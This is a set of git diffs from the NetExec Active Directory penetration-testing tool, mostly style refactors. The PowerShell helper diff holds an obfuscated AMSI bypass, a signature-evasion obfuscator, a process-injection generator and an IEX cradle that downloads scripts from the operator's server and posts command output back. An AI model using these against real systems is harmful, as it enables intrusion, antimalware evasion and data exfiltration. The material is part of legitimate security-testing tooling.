with session.begin_transaction() as tx:
for info in users_owned:
if info["username"][-1] == "$":
user_owned = info["username"][:-1] + "." + info["domain"]
account_type = "Computer"
else:
user_owned = info["username"] + "@" + info["domain"]
account_type = "User"
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
if result.data()[0]["c"].get("owned") in (False, None):
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
except AuthError as e:
with driver.session().begin_transaction() as tx:
for user_info in users_owned:
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
if not domain_query:
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
_add_without_domain(user_info, tx, logger)
else:
domain = domain_query[0]["d"].get("name")
_add_with_domain(user_info, domain, tx, logger)
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
return
except ServiceUnavailable as e:
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
return
except Exception as e:
logger.fail("Unexpected error with Neo4J")
logger.fail("Account not found on the domain")
return
driver.close()
logger.fail(f"Unexpected error with Neo4J: {e}")
finally:
driver.close()
def _add_with_domain(user_info, domain, tx, logger):
if user_info["username"][-1] == "$":
user_owned = f"{user_info['username'][:-1]}.{domain}"
account_type = "Computer"
else:
user_owned = f"{user_info['username']}@{domain}"
account_type = "User"
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
return
if result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
def _add_without_domain(user_info, tx, logger):
if user_info["username"][-1] == "$":
user_owned = user_info["username"][:-1]
account_type = "Computer"
else:
user_owned = user_info["username"]
account_type = "User"
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
return
elif len(result) >= 2:
logger.fail(f"Multiple accounts found with the name '{user_info['username']}' in the BloodHound database. Please specify the FQDN ex:domain.local")
return
elif result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
-3
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import random
-3
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from termcolor import colored
+9 -18
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import random
import string
import re
@@ -9,7 +6,7 @@ import os
def identify_target_file(target_file):
with open(target_file, "r") as target_file_handle:
with open(target_file) as target_file_handle:
for i, line in enumerate(target_file_handle):
if i == 1:
if line.startswith("<NessusClientData"):
@@ -26,10 +23,7 @@ def gen_random_string(length=10):
def validate_ntlm(data):
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
if allowed.match(data):
return True
else:
return False
return bool(allowed.match(data))
def called_from_cmd_args():
@@ -45,12 +39,10 @@ def called_from_cmd_args():
# Stolen from https://github.com/pydanny/whichcraft/
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Given a command, mode, and a PATH string, return the path which
conforms to the given mode on the PATH, or None if there is no such
file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
of os.environ.get("PATH"), or can be overridden with a custom search
path.
"""Find the path which conforms to the given mode on the PATH for a command.
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
Note: This function was backported from the Python 3 source code.
"""
@@ -77,12 +69,11 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
files = [cmd]
seen = set()
for dir in path:
normdir = os.path.normcase(dir)
for p in path:
normdir = os.path.normcase(p)
if normdir not in seen:
seen.add(normdir)
for thefile in files:
name = os.path.join(dir, thefile)
name = os.path.join(p, thefile)
if _access_check(name, mode):
return name
return None
+3 -1
View File
@@ -12,7 +12,8 @@ Authors:
Guillaume DAUMAS (@BlWasp_)
Lucien DOUSTALY (@Wlayzz)
References:
References
----------
MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID:
- [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f
- [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e
@@ -22,6 +23,7 @@ References:
This library is, for the moment, not present in the Impacket version used by NetExec, so I add it manually in helpers.
"""
SCHEMA_OBJECTS = {
+34
View File
@@ -0,0 +1,34 @@
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
+171 -175
View File
@@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
from sys import exit
@@ -8,35 +6,94 @@ from random import choice, sample
from subprocess import call
from nxc.helpers.misc import which
from nxc.logger import nxc_logger
from nxc.paths import nxc_PATH, DATA_PATH
from nxc.paths import NXC_PATH, DATA_PATH
from base64 import b64encode
import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
Args:
----
s (str): The string to replace single quotes in.
Returns:
-------
str: Original string with single quotes replaced with double.
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
Parameters
----------
path (str): The relative path to the PowerShell script.
Returns
-------
str: The full path to the PowerShell script.
"""
return os.path.join(DATA_PATH, path)
def encode_ps_command(command):
"""
Encodes a PowerShell command into a base64-encoded string.
Args:
----
command (str): The PowerShell command to encode.
Returns:
-------
str: The base64-encoded string representation of the encoded command.
"""
return b64encode(command.encode("UTF-16LE")).decode()
def is_powershell_installed():
"""
Check if PowerShell is installed.
Returns
-------
bool: True if PowerShell is installed, False otherwise.
"""
if which("powershell"):
return True
return False
def obfs_ps_script(path_to_script):
"""
Obfuscates a PowerShell script.
Args:
----
path_to_script (str): The path to the PowerShell script.
Returns:
-------
str: The obfuscated PowerShell script.
Raises:
------
FileNotFoundError: If the script file does not exist.
OSError: If there is an error during obfuscation.
"""
ps_script = path_to_script.split("/")[-1]
obfs_script_dir = os.path.join(nxc_PATH, "obfuscated_scripts")
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
if is_powershell_installed() and obfuscate_ps_scripts:
if os.path.exists(obfs_ps_script):
nxc_logger.display("Using cached obfuscated Powershell script")
with open(obfs_ps_script, "r") as script:
with open(obfs_ps_script) as script:
return script.read()
nxc_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
@@ -45,15 +102,15 @@ def obfs_ps_script(path_to_script):
nxc_logger.debug(invoke_obfs_command)
with open(os.devnull, "w") as devnull:
return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
nxc_logger.success("Script obfuscated successfully")
with open(obfs_ps_script, "r") as script:
with open(obfs_ps_script) as script:
return script.read()
else:
with open(get_ps_script(path_to_script), "r") as script:
with open(get_ps_script(path_to_script)) as script:
"""
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
@@ -61,111 +118,88 @@ def obfs_ps_script(path_to_script):
# strip block comments
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
return stripped_code
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
Returns:
-------
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
lines = []
for line in file_in:
lines.append(line)
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""
if force_ps32:
command = (
amsi_bypass
+ """
$functions = {{
function Command-ToExecute
{{
{command}
}}
}}
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
{{
$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
$job | Wait-Job
}}
else
{{
IEX "$functions"
Command-ToExecute
}}
""".format(
command=amsi_bypass + ps_command
)
)
amsi_bypass = ""
# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = amsi_bypass + ps_command
nxc_logger.debug("Generated PS command:\n {}\n".format(command))
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
# (https://github.com/GreatSCT/GreatSCT) <3
"""
if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
encoding = random.choice(encoding_types)
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
temp.name,
encoding)
nxc_logger.debug(invoke_obfs_command)
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
nxc_logger.debug('Command length: {}'.format(len(command)))
if len(command) <= 8192:
temp.close()
break
encoding_types.remove(encoding)
command = f"{amsi_bypass} {ps_command}"
else:
"""
if not dont_obfs:
nxc_logger.debug(f"Generated PS command:\n {command}\n")
if obfs:
nxc_logger.debug("Obfuscating PowerShell command")
obfs_attempts = 0
while True:
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
if len(command) <= 8191:
break
if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
obfs_attempts += 1
else:
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False):
"""
Generates a PowerShell code block for injecting a command into a specified process.
Args:
----
command (str): The command to be injected.
context (str, optional): The context in which the code block will be injected. Defaults to None.
procname (str, optional): The name of the process into which the command will be injected. Defaults to "explorer.exe".
inject_once (bool, optional): Specifies whether the command should be injected only once. Defaults to False.
Returns:
-------
str: The generated PowerShell code block.
"""
# The following code gives us some control over where and how Invoke-PSInject does its thang
# It prioritizes injecting into a process of the active console session
ps_code = """
@@ -207,8 +241,22 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{
return ps_code
def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):
if type(scripts) is str:
def gen_ps_iex_cradle(context, scripts, command="", post_back=True):
"""
Generates a PowerShell IEX cradle script for executing one or more scripts.
Args:
----
context (Context): The context object containing server and port information.
scripts (str or list): The script(s) to be executed.
command (str, optional): A command to be executed after the scripts are executed. Defaults to an empty string.
post_back (bool, optional): Whether to send a POST request with the command. Defaults to True.
Returns:
-------
str: The generated PowerShell IEX cradle script.
"""
if isinstance(scripts, str):
launcher = """
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
@@ -222,23 +270,18 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri
command=command if post_back is False else "",
).strip()
elif type(scripts) is list:
elif isinstance(scripts, list):
launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
for script in scripts:
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(
server=context.server,
port=context.server_port,
addr=context.localip,
script=script,
)
launcher += f"IEX (New-Object Net.WebClient).DownloadString('{context.server}://{context.localip}:{context.server_port}/{script}')\n"
launcher.strip()
launcher += command if post_back is False else ""
if post_back is True:
launcher += """
launcher += f"""
$cmd = {command}
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
$request = [System.Net.WebRequest]::Create('{context.server}://{context.localip}:{context.server_port}/')
$request.Method = 'POST'
$request.ContentType = 'application/x-www-form-urlencoded'
$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
@@ -246,12 +289,7 @@ $request.ContentLength = $bytes.Length
$requestStream = $request.GetRequestStream()
$requestStream.Write($bytes, 0, $bytes.Length)
$requestStream.Close()
$request.GetResponse()""".format(
server=context.server,
port=context.server_port,
addr=context.localip,
command=command,
)
$request.GetResponse()"""
nxc_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n")
@@ -260,30 +298,20 @@ $request.GetResponse()""".format(
# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
def invoke_obfuscation(script_string):
# Add letters a-z with random case to $RandomDelimiters.
alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase)
"""
Obfuscates a script string and generates an obfuscated payload for execution.
# Create list of random delimiters called random_delimiters.
# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
random_delimiters = [
"_",
"-",
",",
"{",
"}",
"~",
"!",
"@",
"%",
"&",
"<",
">",
";",
":",
]
Args:
----
script_string (str): The script string to obfuscate.
for i in alphabet:
random_delimiters.append(i)
Returns:
-------
str: The obfuscated payload for execution.
"""
nxc_logger.debug(f"Command before obfuscation: {script_string}")
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
# Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
@@ -356,7 +384,7 @@ def invoke_obfuscation(script_string):
set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
# Generate the code that will decrypt and execute the payload and randomly select one.
baseScriptArray = [
base_script_array = [
"[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
@@ -364,14 +392,14 @@ def invoke_obfuscation(script_string):
]
# Generate random JOIN syntax for all above options
new_script_array = [
choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''",
join + choice(["", " "]) + choice(baseScriptArray),
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")",
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
choice(base_script_array) + choice(["", " "]) + join + choice(["", " "]) + "''",
join + choice(["", " "]) + choice(base_script_array),
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(base_script_array) + choice(["", " "]) + ")",
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(base_script_array) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
]
# Randomly select one of the above commands.
newScript = choice(new_script_array)
new_script = choice(new_script_array)
# Generate random invoke operation syntax
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1
@@ -383,54 +411,22 @@ def invoke_obfuscation(script_string):
# but not a silver bullet
# These methods draw on common environment variable values and PowerShell Automatic Variable
# values/methods/members/properties/etc.
invocationOperator = choice([".", "&"]) + choice(["", " "])
invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')")
invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')")
invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')")
invocation_operator = choice([".", "&"]) + choice(["", " "])
invoke_expression_syntax.extend((invocation_operator + "( $ShellId[1]+$ShellId[13]+'x')", invocation_operator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')", invocation_operator + "( $env:Public[13]+$env:Public[5]+'x')", invocation_operator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')", invocation_operator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')", invocation_operator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')"))
# Randomly choose from above invoke operation syntaxes.
invokeExpression = choice(invoke_expression_syntax)
invoke_expression = choice(invoke_expression_syntax)
# Randomize the case of selected invoke operation.
invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression)
invoke_expression = "".join(choice([i.upper(), i.lower()]) for i in invoke_expression)
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
invokeOptions = [
choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]),
choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression,
invoke_options = [
choice(["", " "]) + invoke_expression + choice(["", " "]) + "(" + choice(["", " "]) + new_script + choice(["", " "]) + ")" + choice(["", " "]),
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]
obfuscated_payload = choice(invokeOptions)
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
"""
# Array to store all selected PowerShell execution flags.
powerShellFlags = []
noProfile = '-nop'
nonInteractive = '-noni'
windowStyle = '-w'
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
commandlineOptions = []
commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)])
# Randomly decide to write WindowStyle value with flag substring or integer value.
commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice([' '*1, ' '*2, ' '*3]) + choice(['1','h','hi','hid','hidd','hidde'])))
# Randomize the case of all command-line arguments.
for count, option in enumerate(commandlineOptions):
commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option)
for count, option in enumerate(commandlineOptions):
commandlineOptions[count] = ''.join(option)
commandlineOptions = sample(commandlineOptions, len(commandlineOptions))
commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandlineOptions)
obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript
"""
return obfuscated_payload
+14 -28
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import nxc
import importlib
import traceback
@@ -12,7 +9,7 @@ from os.path import join as path_join
from nxc.context import Context
from nxc.logger import NXCAdapter
from nxc.paths import nxc_PATH
from nxc.paths import NXC_PATH
class ModuleLoader:
@@ -22,13 +19,14 @@ class ModuleLoader:
self.logger = logger
def module_is_sane(self, module, module_path):
"""
Check if a module has the proper attributes
"""
"""Check if a module has the proper attributes"""
module_error = False
if not hasattr(module, "name"):
self.logger.fail(f"{module_path} missing the name variable")
module_error = True
elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
self.logger.fail(f"{module_path} filename must match the module name {module.name}")
module_error = True
elif not hasattr(module, "description"):
self.logger.fail(f"{module_path} missing the description variable")
module_error = True
@@ -47,18 +45,13 @@ class ModuleLoader:
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
# elif not hasattr(module, 'chain_support'):
# self.logger.fail('{} missing the chain_support variable'.format(module_path))
# module_error = True
if module_error:
return False
return True
def load_module(self, module_path):
"""
Load a module, initializing it and checking that it has the proper attributes
"""
"""Load a module, initializing it and checking that it has the proper attributes"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module = spec.loader.load_module().NXCModule()
@@ -68,12 +61,9 @@ class ModuleLoader:
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
return None
def init_module(self, module_path):
"""
Initialize a module for execution
"""
"""Initialize a module for execution"""
module = None
module = self.load_module(module_path)
@@ -99,21 +89,20 @@ class ModuleLoader:
sys.exit(1)
def get_module_info(self, module_path):
"""
Get the path, description, and options from a module
"""
"""Get the path, description, and options from a module"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module_spec = spec.loader.load_module().NXCModule
module = {
f"{module_spec.name.lower()}": {
f"{module_spec.name}": {
"path": module_path,
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"opsec_safe": module_spec.opsec_safe,
"multiple_hosts": module_spec.multiple_hosts,
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
}
}
if self.module_is_sane(module_spec, module_path):
@@ -121,16 +110,13 @@ class ModuleLoader:
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
return None
def list_modules(self):
"""
List modules without initializing them
"""
"""List modules without initializing them"""
modules = {}
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
path_join(nxc_PATH, "modules"),
path_join(NXC_PATH, "modules"),
]
for path in modules_paths:
@@ -140,6 +126,6 @@ class ModuleLoader:
module_path = path_join(path, module)
module_data = self.get_module_info(module_path)
modules.update(module_data)
except:
pass
except Exception as e:
self.logger.debug(f"Error loading module {module}: {e}")
return modules
-2
View File
@@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from types import ModuleType
from importlib.machinery import SourceFileLoader
from os import listdir
+115 -104
View File
@@ -1,17 +1,82 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import logging
from logging import LogRecord
from logging.handlers import RotatingFileHandler
import os.path
import sys
import re
from nxc.helpers.misc import called_from_cmd_args
from nxc.console import nxc_console
from termcolor import colored
from datetime import datetime
from rich.text import Text
from rich.logging import RichHandler
import functools
import inspect
import argparse
def parse_debug_args():
debug_parser = argparse.ArgumentParser(add_help=False)
debug_parser.add_argument("--debug", action="store_true")
debug_parser.add_argument("--verbose", action="store_true")
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.INFO)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
